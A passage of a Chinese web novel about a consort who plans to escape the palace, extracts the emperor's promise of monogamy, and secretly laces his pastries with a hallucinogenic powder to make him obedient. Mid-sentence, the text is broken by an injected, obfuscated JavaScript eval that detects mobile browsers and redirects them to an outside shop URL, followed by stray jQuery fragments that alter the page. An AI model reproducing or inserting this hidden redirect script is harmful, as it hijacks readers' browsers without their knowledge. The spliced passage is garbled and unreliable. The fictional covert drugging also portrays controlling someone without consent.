桑晚棠的目光有些失焦,心中矛盾之中,思绪也飘向了遥远的记忆深处。
她记得,当初为了躲避江铎,她曾独自一人去过江南寻外祖母,那里没有皇宫的红墙黄瓦与重重规矩,只有三月的柳絮纷飞,六月的荷花满塘,那是她记忆中为数不多的自由与亮色。
如今想来,那里风景甚好,远离京城的喧嚣与朝堂的纷扰,似乎是眼下这混沌局面里,唯一一个极好的去处。
那她是不是……也能逃离第二次?
她可以找外祖母,那位老人家性子淡薄,隐居在江南水乡,若是有她在,也不会觉得寂寥。
桑晚棠缓缓握紧了手指,心中渐渐安定下来,她低头看了一眼自己指尖的薄茧。
她有一双巧手,若真去了,凭着这门手艺,做些绣活贩卖,养活自己定然是不成问题的。
“江南……”
桑晚棠低低地念出这两个字,尾音轻得像是怕惊动了什么,又像是被风一吹就散了。
一旁的蓝星闻言神色里带着几分不解:“江南……美人怎么突然想起这个地方了?”
桑晚棠唇角勾起一抹极淡的弧度,那笑意却未达眼底,只带着点说不清道不明的怅然:“无事。”
她顿了顿,目光似是穿透了重重宫墙,望向了遥远的南方,声音轻得像是在同自己说话:“只是突然想起,江南的风景,当真甚好。”
或许这次和亲,便是机会。
经过了这几日,桑晚棠几乎更加肯定了这个决定,指尖猛地攥紧,纷乱的思绪骤然清明。
只是,离开从来不是一件易事。
在真正踏出这红墙之前,她必须做好万全的准备,一步都不能错。
至少,要让江铎彻底放下对她的戒备。
还有就是要保证祸不及家人,江铎若是知晓她逃了,难保不会迁怒桑家,阿娘还在府中,她不能坐视不管。
想到这里,桑晚棠心头微动,干脆利落起身,开口道:“青黛,将上次陛下送来的那件狐裘披风找出来。”
“奴婢这便寻!”青黛应声,转身入了内室去取。
殿内一时安静下来,桑晚棠拢了拢衣袖,目光落在雕花窗棂上,神色沉静,不知在想些什么。
不多时,青黛捧着披风出来。
桑晚棠接过披风,指尖触到那柔软温热的皮毛,她略一沉吟,便迈步向外走去:“走,去养心殿。”
养心殿内。
江铎神色淡然在案前,眉眼间带着几分惯有的清冷疏离。
忽然,殿门被轻轻推开,江铎抬眸,目光落在门口那抹纤细的身影上。
桑晚棠此刻披着那件白狐裘披风,站在门口。
江铎瞧见她,一眼就看到了那件雪白披风,握着朱笔的手微微一顿,二人对视片刻,最终还是江铎打破了沉默。
“想好了?”
桑晚棠微微颔首,她神色间拢着一层淡淡的迟疑,睫羽如蝶翼般轻颤,似有千言万语堵在喉头,辗转再三,轻声开口:“嗯,陛下……日后可会纳别的妃嫔?”
话音落下,殿内一时只剩窗外漏进来的风声,裹挟着檐角铜铃的轻响,更衬得空气几分凝滞。
江铎听见她这般问,手腕微顿,忽的低低轻笑一声,含了几分纵容,打破了片刻的沉寂:“原来,阿棠一直以来担心的,竟是这个。”
桑晚棠心头一跳,下意识抬眼对上江铎深邃的眉眼。
只听江铎继续问道:“可是听了早朝的风言风语?”
桑晚棠垂下眸,一时没有回应。
江铎却不再追问,他缓缓放下手中的毛笔,笔杆轻叩砚台,发出一声清脆的响。
随即起身,阔步朝着她走来,一步一步,直至站定在她面前,周身弥漫出清冽的龙涎香。
他声音低沉,一字一句,似烙印般刻进她的心底:“应下请求,是为权宜之计。”
桑晚棠缓缓抬起头,眼睛仿佛漫漫长夜中忽然燃起的星火,却又带着一丝了然。
此刻听他亲口说出来,倒是印证了她的猜测。
她抿了抿唇,声音带着一丝不易察觉的艰涩:“那先前……”
她利用感情欺骗过他呢?他也能心无芥蒂吗?
话未说完,江铎便伸出手,轻轻捏住她的下巴,指腹带着微凉的温度,却动作轻柔,打断了她未尽的话语,仿佛知道她接下来的话:“先前?”
他俯身,与她平视,眸中不似作假:“孤只当阿棠年少心性。”
他的指尖轻轻摩挲着她的唇瓣,语气是前所未有的认真:“孤只会有你一位皇后,后宫之中,再也不会有旁人。”
“这样,阿棠可放心?”
桑晚棠微微睁大眼眸,澄澈的眸子里先是映出江铎笃定的眉眼,随即漫上一层浅浅的失神,
似是还未完全消化他方才那番承诺。
但那失神不过转瞬即逝,她很快便敛去眼底的惊澜,恢复了往日的沉静,沉思开口:“那朝堂上陛下可能应付?”
她并非手握重权的世家贵女,更无显赫外戚可倚仗,先前朝臣们已然因后宫空置之事屡屡进言,若江铎当真执意只立她一人为后,不肯广纳妃嫔,那些固守祖制、看重门第与子嗣的重臣们,必然不会善罢甘休。
到那时,朝堂之上怕是又要掀起一番风波,而她,难免会成为众矢之的。
江铎见她这般模样,眉峰微挑,眼底的笑意丝毫未退:“孤既然敢许你这话,自然便有应对之法,何况,孤已经给过他们预示了。”
桑晚棠闻言先是一愣,纤长的睫羽猛地一颤,险些忘了。
旋即抬眸望向江铎,声音温和:“原来陛下早有筹谋,这般……臣妾便安心了。”
话音未落,江铎便忽的倾下身子,他的动作极缓,几乎要和她贴一起。
两人距离骤然拉近,近得她能清晰看见他墨眸中自己的倒影,能感受到他温热的呼吸拂过额前的碎发,带着几分灼人的温度。
他微微垂眸,长睫在眼下投出淡淡的阴影,遮住了眸中翻涌的情愫,一字一句叩击在她的心尖:“那阿棠,可否解一下孤这几日的相思之苦?”
桑晚棠被这突然跳转的话锋弄的一愣,但对上江铎那双灼热的眼眸便又将原本的话都咽了回去。
……
桑晚棠唇上旧伤本就未愈,此刻被磋磨得愈发红肿,一路回到长春殿,守在殿外的蓝星一眼便瞧见。
“美人,您的唇怎么了?”蓝星疑惑的看着桑晚棠的唇角,惊呼出声。
青黛自是明白怎么回事,挤眉弄眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098073|184421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的拽着蓝星就朝殿里走去:“咱们先去为美人泡壶茶吧,一路上美人定然是口干舌燥。”
“啊?哦哦!”蓝星云里雾里的被青黛拖走,还不忘回头看桑晚棠一眼。
桑晚棠立在殿外,望着眼前光景,只唇角轻轻勾起,抬步从容踏进了殿内。
江铎已将封后大典的日子定在了西域使团入京后,朝堂事重,使团之事悬而未决,自然要先将这桩要务处置妥当,封后大典再隆重,也只得往后稍挪。
桑晚棠心中已经大抵有了计划。
她记得先前被皇甫氏封妃的时候,曾从宫外带过一样东西,是留给有特殊需要的时候用,此药配合特制的香使用,可使人轻微致幻,对她百依百顺。
以防万一,如今只能在江铎身上试试了。
暮色漫过朱窗。
桑晚棠挽着素色锦袖,亲自守在案前,露出一截莹白皓腕,亲自动手做桂花水晶糕。
旁侧经验老道的掌事宫女不敢怠慢,半步不离地在旁指点,揉面要揉至光润不粘手,调桂花馅要拿捏好蜜与花的比例。
她听得认真,指尖跟着动作,不算生疏,一举一动都透着温婉细致。
调蜜时她特意嘱着少放些糖霜,清甜的蜜意混着桂花的淡馥,缠缠绵绵在暖融融的灶间漫开,勾得人鼻尖微痒。
桑晚棠趁着宫女不注意,偷偷拿出白色的小瓷瓶,撒了微量的药粉。
江铎警觉性太高,以免被他发现,还是分量多次使用为好。
旋即是擀皮、包馅、压花,她手法虽不算极熟,却胜在稳当,玉指捏着雕花模子轻轻一压,菱花纹路便清晰地印在糕体上,一系列工序下来竟行云流水。
不多时,几碟样式精巧的桂花水晶糕便齐齐摆上了白瓷盘,莹润的糕体裹着浅金桂瓣,纹路细腻,瞧着便讨喜得很。
一旁的宫女见状忍不住笑着夸赞:“美人当真天生手巧,这水晶糕做得这般精致,陛下若是吃到,必然会满心满意的。”
桑晚棠看着面前的糕点,微微扬起唇角,温和道:“但愿如此吧。”
“定然会的。”宫女笑得真诚,将一旁的食盒拿了过来。
暮色沉得愈发浓了,殿外的光线一点点黯淡下去,桑晚棠提着描金食盒,轻步又至养心殿。
殿门未阖,里头明烛高燃,映着江铎伏案的身影,他依旧埋首处理政务,竟半点未察觉她的到来。
桑晚棠放轻脚步走近,将食盒搁在旁侧的小几上,掀开盒盖取点心时,瓷碟相触轻响,细碎的动静终于落进江铎耳中。
他抬眼望来,目光从奏折上移开,凝在她身上时,眉间的沉郁便散了几分。
桑晚棠将摆好糕点的白瓷盘推至他手边,柔声轻唤:“陛下劳累一日,不如先歇一歇,尝尝点心?”
江铎闻言,当即放下手中狼毫,笔锋轻搁在砚台旁,唇角不自觉微微勾起,声线松缓下来:“阿棠怎的突然过来了?”
“臣妾亲手做的糕点。”桑晚棠抬眸望他,眸中盛着殿内的烛火,清亮又柔和,指尖轻抵着白瓷盘沿,将桂花水晶糕往他面前推了推,清甜的桂香漫开些许。
仅此一句,便让江铎片刻恍惚。
他凝着她眼底的细碎光亮,低低轻笑一声:“阿棠这是又有事求孤了?”